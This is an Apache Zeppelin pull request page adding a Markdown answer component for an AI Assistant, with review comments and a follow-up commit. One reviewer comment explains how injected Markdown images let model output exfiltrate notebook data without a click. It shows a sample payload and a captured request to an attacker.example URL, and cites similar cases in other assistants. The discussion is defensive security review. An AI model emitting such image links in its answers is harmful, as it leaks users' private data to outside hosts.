Skip to content

[ZEPPELIN-6744] Add AI Assistant Markdown answer component - #5570

Merged
voidmatcha merged 8 commits into
apache:masterfrom
miinhho:ZEPPELIN-6744-markdown-answer
Oct 16, 2026
Merged

voidmatcha merged 8 commits into
apache:masterfrom
miinhho:ZEPPELIN-6744-markdown-answer

Conversation

@miinhho

@miinhho miinhho commented Oct 13, 2026

Copy link
Copy Markdown
Contributor

What is this PR for?

Add a React Markdown answer component for the AI Assistant.

The component renders GFM tables and language-labelled code blocks, supports unclosed code fences during streaming, and reports paragraph reference clicks through a callback. HTML is displayed as text and dangerous link URLs are blocked.

Includes Storybook examples and unit tests for rendering, input updates, paragraph references, and unsafe content.

What type of PR is it?

Feature

What is the Jira issue?

https://issues.apache.org/jira/browse/ZEPPELIN-6744

How should this be tested?

From zeppelin-web-angular/projects/zeppelin-react:

npm ci
npm test -- --maxWorkers=1
npm run typecheck
npm run lint
npm run build:storybook
npm run storybook

Open Assistant / MarkdownAnswer and check both light and dark themes:

  • GfmTable / SqlCode: confirm tables and long code lines scroll within the answer, and code blocks show their language.
  • PartialFence / Streaming: confirm an unclosed fence remains readable as chunks arrive and the following paragraph appears after the fence closes.
  • ParagraphReference: click the reference and confirm its ID and name appear in the callback status.
  • DangerousContent: confirm HTML appears as text and dangerous URLs are not navigable.

Questions:

  • Does the license files need to update?
    Yes. MIT license entries and texts for react-markdown and remark-gfm are included.

  • Is there breaking changes for older versions?
    No existing public API is changed.

  • Does this needs documentation?
    The React README includes a short component description and a pointer to its Storybook examples.

@voidmatcha
voidmatcha changed the base branch from master to branch-voidmatcha-assistant-storybook-temp October 13, 2026 10:39

@voidmatcha voidmatcha left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. I ran the Storybook and checked the specs.

CI: the frontend job fails in npm run lint: prettier --check flags MarkdownAnswer.tsx (the new RegExp(...) call in textReferences fits on one line). prettier --write fixes it.

Fixes for the accessibility and footnote issues below are on my branch: voidmatcha/zeppelin@40506d0...ZEPPELIN-6744-pr5570-review-fixes

Please take whatever you find useful.

@voidmatcha

voidmatcha commented Oct 14, 2026 •

Copy link
Copy Markdown
Member

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Image rendered without a click

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

@voidmatcha

voidmatcha commented Oct 14, 2026 •

Copy link
Copy Markdown
Member

All non-blocking.

  • Performance: memo is defeated when the parent passes inline callbacks, so every keystroke in a sibling input parses the whole answer again. memo -> useMemo (keep the parsed element keyed on content). In a synthetic benchmark (4x CPU throttle, typing while streaming), p95 input latency for a ~10KB answer went 72 -> 24ms.
  • Conventions: like [ZEPPELIN-6745] Add AI Assistant message and answer state UI #5567, function X() {} -> export const X = () => {}, props JSDoc, relative import -> @/ alias.
  • Headers: other files in this folder use the short Licensed under the Apache License… header. Both pass RAT and the ASF source-header policy names the long form as the standard, so it may be best to unify the repo in one go later (https://www.apache.org/legal/src-headers.html).

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for providing the fixes. I cherry-picked your six commits covering:

  • Anchor prop forwarding, per-answer footnote and heading IDs, and fragment scroll/focus handling without native hash navigation.
  • Paragraph-button accessible names, the code-block region role, and the existing visually-hidden style for footnote headings.
  • Prettier formatting, Markdown-element memoization, and the component/import conventions.

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Image rendered without a click

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

Agreed, thanks for flagging this. I’ll open a follow-up issue to track the image-loading policy so it can be addressed before real LLM output is connected.

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

I found one follow-up issue in the fragment focus handling: setting tabIndex = -1 unconditionally removes the footnote reference link from the tab order after following a back-reference. The handler now adds tabIndex only to non-focusable targets without an explicit tabindex, preserving existing tab stops. Added a regression test verifying that focus returns to the reference and it remains keyboard-reachable.

voidmatcha
voidmatcha previously approved these changes Oct 14, 2026

@voidmatcha voidmatcha left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for applying the changes. I confirmed all six suggested commits are in, and thanks for catching and fixing the lost tab stop after following a footnote back-reference. The condition is right and the regression test covers it.

I agree to track the image-loading policy as a follow-up issue.

LGTM 👍 Once the prerequisite PRs merge, I will retarget this PR to master and check the final diff and CI before merging.

@voidmatcha

Copy link
Copy Markdown
Member

@miinhho #5562 is on master, and this PR doesn't need #5561 or #5565. Could you rebase onto master, force-push, and then switch the base to master?

git fetch https://github.com/apache/zeppelin.git master
git rebase --onto FETCH_HEAD 4599ad2d9
git push --force-with-lease

It rebases without conflicts and the tests pass. Once this merges, #5572 will need the same rebase onto master.

@miinhho
miinhho force-pushed the ZEPPELIN-6744-markdown-answer branch from f4b3f16 to b54814c Compare October 16, 2026 14:17
@voidmatcha
voidmatcha changed the base branch from branch-voidmatcha-assistant-storybook-temp to master October 16, 2026 14:18
@voidmatcha
voidmatcha dismissed their stale review October 16, 2026 14:18

The base branch was changed.

@voidmatcha
voidmatcha merged commit baeff2f into apache:master Oct 16, 2026
@voidmatcha

Copy link
Copy Markdown
Member

Merged into master (baeff2f).

voidmatcha pushed a commit that referenced this pull request Oct 16, 2026
### What is this PR for?

Addresses the image-loading follow-up raised in [#5570](#5570 (comment)).

Model-generated Markdown can include image URLs containing notebook data. Loading these images automatically sends a request to the destination without user interaction.

This PR replaces automatic image loading with a **Load image** button. Before loading, the reader can review the image description, destination host, full URL, and a warning that the request may transmit information from the answer. Only HTTP(S) image URLs are supported.

Approval is specific to each image in an answer. Unchanged images retain approval during streaming, including when a reference definition gains a title. Changing the destination or removing and restoring an image requires fresh approval.

### What type of PR is it?

Bug Fix

### What is the Jira issue?
* https://issues.apache.org/jira/browse/ZEPPELIN-6751

### How should this be tested?

From `zeppelin-web-angular/projects/zeppelin-react`, run:

```bash
npm test -- src/entities/assistant/ui/MarkdownAnswer.spec.tsx
npm run typecheck
npm run build:storybook
npm run test:storybook -- markdown-answer-images.spec.mjs
```

For manual verification, run `npm run storybook` and open **Assistant / MarkdownAnswer**:

1. In **Image Loading**, inspect the browser’s Network panel. Confirm that no image request is sent before activation. Use Enter or Space to activate **Load image** and confirm that only the selected image loads.
2. In **Streaming Images**, load the image and append the next chunk. Confirm that the image remains loaded while its destination is unchanged. When a later chunk changes the destination, confirm that the new URL is displayed and requires another activation before loading.
3. Using the image story’s `content` control, remove an approved image and restore the same Markdown. Confirm that it requires approval again.

### Questions

- **License changes?** No.
- **Breaking changes?** No.
- **Documentation?** The React README explains image loading and the destination warning.


Closes #5572 from miinhho/assistant-image-loading-policy.

Signed-off-by: YONGJAE LEE <dev.yongjaelee@gmail.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants